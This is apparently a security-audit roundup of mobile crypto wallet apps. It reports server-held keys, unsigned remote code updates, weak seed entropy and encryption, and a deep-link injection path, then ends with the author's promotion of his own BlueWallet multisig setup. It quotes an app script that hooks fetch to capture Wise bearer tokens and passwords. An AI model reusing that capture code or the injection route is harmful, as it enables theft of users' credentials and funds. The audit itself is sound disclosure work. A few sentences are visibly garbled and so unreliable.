Capacitor/Vite SPA (store v1.0 build 6) for a passkey-owned ERC-4337 smart-account wallet. Primary signing keys stay in the platform authenticator; there is no hidden third-party server. However, the same 10 Crockford backup codes that Argon2id-derive the on-chain recovery EOA are created by the first-party API (POST /v1/security/backup-codes/generate) and, on atomic recovery rotation, re-POSTed in plaintext to https://api.blockchain0x.com/v1/auth/recover/backup-codes/stage. Anyone who sees those codes plus userId can recompute the recovery private key.
Findings
Server generates the backup codes that become the recovery EOA secret
Atomic recovery POSTs new backup codes in plaintext
Store build is an account-based Tectum client, not a BIP-39 wallet. There is no on-device mnemonic. Spend goes through first-party send/initiate and send/complete on api.tectum.io. POST /pk/ethereum sends the account password and the server returns an ETH private key it already holds. Separately, useCheckVersion fetches a hardcoded Google Drive manifest and installs downloadIosUrl with restartAfterInstall and no checksum — a Drive write replaces the wallet JS on next launch.
Findings
Spend is server-signed; ETH private key is retrieved with the account password (POST /pk/ethereum)
Unsigned OTA JS from a hardcoded Google Drive file (no checksum)
// ApiRoutes.cloud (main.jsbundle:351945) — spends are initiated and completed on api.tectum.io, not signed on-device
r3 = { send: 'send', /* … */ sendInitiate: 'send/initiate', completeSend: 'send/complete' };
// sendInitiate mutation (918106-918120): POST {base}/cloud/v2/send/initiate/{key}
requestOptions['url'] = '/v2/' + r2.sendInitiate + '/' + key;
requestOptions['method'] = 'POST';
requestOptions['body'] = r1;
// completeSend mutation (918160-918196): the server finalizes with its own transaction_key; the client only adds 2FA/email codes
requestOptions['url'] = '/v2/' + r1.completeSend;
requestOptions['method'] = 'POST';
r1['transaction_key'] = r3; // issued by the server at initiate
r1['code'] = r2; // { '2fa': …, 'email': … }
requestOptions['body'] = r1;
Store build 1.42 (52) is an Ionic/Capacitor Vue SPA (classified cordova) that combines an NFC “Seed Vault,” local Cardano wallets, hardware TapDano tags, and a Chrome-extension sync path. There is no hidden mnemonic POST. Seed Vault secrets are AES-encrypted locally, but the AES passphrase is issued and later re-accepted by TapDano’s AWS API (ywt68ywcs1.execute-api.sa-east-1.amazonaws.com/action). User-initiated “Chrome Extension Sync” then POSTs an ECDH-wrapped copy of the entire tag object (including that key plus ciphertext seeds) to the same backend. That is first-party key escrow plus a cloud relay.
Findings
Server issues and later receives the Seed Vault AES key (key escrow)
User-initiated SET_SYNC uploads the full tag (AES key + encrypted seeds) to AWS
This is a Capacitor + Next.js static export of Chives/AoWallet (store v0.0.17 / build 50, seller 郑州单点科技软件有限公司). Wallet JS is present. No confirmed remote exfiltration of mnemonics or JWK private keys was found: network use of keys is signing Arweave/AO transactions and posting signed txs / faucet *addresses* to publisher and chain endpoints. (1) Ionic Capacitor Live Updates is enabled (appId3ba80b94, channel Production, autoUpdateMethod: background), so the publisher can replace the WebView JS after App Store review. (2) The Arweave JWK and BIP-39 mnemonic are stored in localStorage (ChivesWallets) under AES-256-GCM whose key and IV are a single unsalted SHA-256 of a 6-digit PIN (EncryptGrade: "PIN"). That is offline-bruteforceable (~10^6) and reuses the GCM nonce for every blob encrypted with the same PIN. Key generation itself uses crypto.getRandomValues / HMAC-DRBG from the mnemonic seed, not Math.random.
Findings
Ionic Live Updates can replace wallet JS post-review
6-digit PIN + SHA-256 (no KDF) + deterministic AES-GCM IV protects JWK + mnemonic
Orbit+ (v1.1.3 / build 112) is a React Native Hermes wallet from Velo Finance. No mnemonic or private-key exfiltration was found. Create/import register only {walletAddress, chainType: "evm"} with first-party https://data-plane-api.orbitplus.velofinance.io. Secrets are AES-wrapped locally and written to SecureStore/Keychain. Newly created wallets are generated with Math.random, not a CSPRNG:generateMnemonics builds 16 bytes as Math.floor(Math.random * 100) and feeds that into entropyToMnemonic. ethers’ HDNodeWallet.createRandom (which uses randomBytes(16)) is in the bundle but is not the create-wallet path.
Findings
generateMnemonics uses Math.random as BIP39 entropy
AES wrapping key for seed/private key also from Math.random
Store build 1.0.3 (15) is a React Native WebView shell. Wallet UI, key generation, and mnemonic handling are not in the IPA — they load at runtime from https://app.hot-labs.org. The native bridge stores an opaque blob in iOS Keychain (setEncryptedStorage / getEncryptedStorage) and injects window.hotMobile. No first-party fetch/POST of mnemonics or private keys appears in the 514k-line Hermes bundle (no mnemonic, bip39, seedPhrase,, or obfuscated URLs). A 2026-09-10 static snapshot of that origin also has no mnemonic POST; the Keychain blob is the SPA’s serialize secret dump, weakly wrapped. Two retained HIGHs. (1) Incoming hotwallet:// / https://app.hot-labs.org links are concatenated into webview.injectJavaScript("window.location.href = '" + url + "'")without escaping. A crafted deep link can break out of that string and call hotMobile.getEncryptedStorage while nativeEvent.url is still the wallet origin, then fetch the blob off-device. (2) The WebView is the wallet: uri = https://app.hot-labs.org with LOAD_CACHE_ELSE_NETWORK and no signed pin. Whoever publishes that origin can ship JS that reads the same Keychain blob. The 2026-09-10 snapshot does not POST mnemonics; the channel is enough.
Findings
Unescaped deep-link interpolation into injectJavaScript (secret-reachable)
Unsigned remote SPA at app.hot-labs.org can replace wallet JS after review
Store build 1.5.5 (CFBundleVersion 4) is a PhoneGap/Cordova WKWebView wallet. Prep’s js_inventory only ranked vendor libraries (ethers/Alchemy webpack chunks named mesiger-eth-util, ethers 5.7.2, ripple-lib, XHR polyfill). The real app is javascript-obfuscator minified www/js/mix-min-enc.js (~7.2 MB) plus onboarding www/keyjs/newwlt-mix-min-enc.js; www/bundle.js is empty (0 bytes). mnemonic POST was found. Secrets are encrypted locally with libsodium (scrypt + secretbox) before SQLite/PouchDB storage. Two high-impact issues remain: Cordova Hot Code Push auto-installs unsigned www/ from S3, and the BIP39 mnemonic plus derived private-key arrays sit in plaintext localStorage during create/restore while BackupWebStorage is cloud. Wallet-create also POSTs a FingerprintJS device profile plus the new QCT address to https://svr.mesiger.com/rec/newwlt` (not the seed).
Findings
Unsigned Hot Code Push can replace all wallet JS after install
Plaintext mnemonic and derived keys in localStorage + iCloud Web Storage backup
Store build 1.2.5 (1) is a Hermes React Native EVM wallet for Pione Chain (chain 5090) plus BSC/ETH and others. Wallet create/import uses ethers Wallet.createRandom / Wallet.fromPhrase locally and encrypts mnemonic + private key with AES-256-GCM (PBKDF2-SHA512, 200k iterations) before MMKV persist. No hidden third-party server and no JS path that POSTs mnemonic / seed / privateKey to a remote host. (1)HotUpdater auto-replaces JS from https://hot-updater.team-2ce.workers.dev/api/check-update, so the App Store binary is not the runtime. (2) A live GitHub PAT is hardcoded and used as Authorization to fetch a remote wallet blocklist that can silently block sends. (3) Every MMKV store shares one static encryptionKey also used as the AES pepper. Combined with NSAllowsArbitraryLoads: true, the publisher (or anyone who steals the PAT / OTA channel) can change what the wallet does after review.
Findings
Auto OTA JS updates (HotUpdater)
Hardcoded GitHub PAT + remote send blocklist
HotUpdater = r3.HotUpdater;
wrap = HotUpdater.wrap;
r3 = {'baseURL': 'https://hot-updater.team-2ce.workers.dev/api/check-update', 'updateStrategy': 'appVersion', 'updateMode': 'auto'};
// → HotUpdater.wrap({...})(App): auto update on every launch, unsigned
// (no HOT_UPDATER_PUBLIC_KEY in Info.plist — server-supplied fileHash only)
Red Wallet is a Cordova/Capacitor Ionic React wallet for Polygon (MATIC). All 33 prepared chunks were reviewed. No confirmed seed, mnemonic, or private-key exfiltration to remote servers was found — network POST bodies carry wallet addresses, KYC PII, or support-form fields, not recovery phrases or raw keys. Seed generation uses window.crypto.getRandomValues plus keystore.generateRandomSeed. However, the release build has serious secondary issues: private keys are stored in plaintext in Capacitor Preferences / localStorage, injected into a third-party InAppBrowser (venetronic.com), mnemonics are console.log'd during wallet setup, ATS allows arbitrary cleartext HTTP, and multiple hardcoded API keys are embedded.
Findings
Private key injected into third-party InAppBrowser
Store build 1.1.30 (191) is a Hermes React Native / Expo app for ZKP2P “Peer” (Privy TEE embedded wallet + Hyperliquid + P2P fiat rails). No wallet mnemonic / private-key / WIF POST to a remote host was found — crypto keys are Privy TEE-backed (@privy-io/expo 0.58.x); prepared “secret_*” chunks are ethers / node-forge / Skia / noble-curves library code. The Seller Automated Release (SAR) pipeline harvests payment-provider secrets (Wise login passwords, OAuth bearer tokens, Personal Access Tokens; Venmo/Cash App/PayPal/Chime session material) via injected WebView scripts, then uploads an encrypted seller-credential bundle to attestation-service.zkp2p.xyz (POST /seller/credentials/{platform}) and api.zkp2p.xyz (POST /v2/makers/../seller-credential). This is product-shaped (Nitro PCR8 pinning, JWE), not / seed theft — but it is confirmed third-party credential exfil from the device.
Findings
Wise / rail credentials harvested in WebView and uploaded to ZKP2P
var TOKEN_PATTERN = /(pat-[A-Za-z0-9._\-]{30,}|wise_[A-Za-z0-9._\-]{30,}|[A-Za-z0-9._\-]{48,450})/i;
function captureBearerFromHeaders(headers) {
if (auth && /^bearer\s+/i.test(String(auth))) {
window.__peerWiseSarBearer = value;
}
}
window.fetch = function (input, init) {
if (/wise\.com\/(?:gateway|api)\b/i.test(String(url))) {
captureBearerFromHeaders(init.headers);
}
};
postRaw({ type: "credentialSubmit", username: username, password: password });
post({ type: "wiseSarPasswordCaptured", password: password });
post({ type: "wiseSarToken", apiToken: secret });
Store build 1.9.0 (CFBundleVersion 8) is a Hermes React Native Canton Network wallet (Cantor8). Wallet JS creates/recovers a 24-word mnemonic via a native SDK (generateAndSetMnemonicPhrase / setMnemonicPhrase) and holds it in useSetupStore; there is no fetch/POST of the phrase to a hidden third-party server in the decompiled bundle. The serious issue is telemetry: recovery console.logs the full mnemonic, and Sentry is initialized unconditionally with enableLogs: true, attachScreenshot: true, sendDefaultPii: true, and mobile session replay (replaysOnErrorSampleRate: 1). Combined with UXCam video capture and Amplitude Session Replay (sampleRate: 1), secrets can leave the device through vendor ingest even without a dedicated exfil endpoint.
Findings
Recovery logs the full mnemonic while Sentry captures logs, screenshots, and replays
UXCam video + Amplitude Session Replay run at full sample rate on a seed-phrase wallet
Step 0: sell all your altcoins for bitcoin. There is no reason to be exposed to this risk
Never trust a single device — or a single vendor — with a private key. They can leak it or they can generate it incorrectly (ahem, Coldcard).
For any meaningful amount use multisig: two or three keys, each born on a different vendor’s hardware, never recombined on a phone. The phone should coordinate — propose a payment, show the PSBT, collect signatures. It should not be the place the complete key lives.
BlueWallet — as a multisig coordinator
Full disclosure: I made it 😜
Bitcoin-only, open source, speaks QR PSBTs with air-gapped signers. Create a vault, add hardware cosigners, keep this app watch-only for that vault.
2of3 multisig is considered a gold standard with good balance between convinience and security. One of the signers can be BlueWallet, or not and you will have to co-sign with other 2 devices every time
2of2 multisig with BlueWallet as one cosigner and hardware wallet as another. Still pretty good security with good convinience, and entropy combined from different vendors. It's like 2FA for your transactions.
Honorary mentions
Build yourself from off-the-shelf components, no one will know you have a bitcoin hardware wallet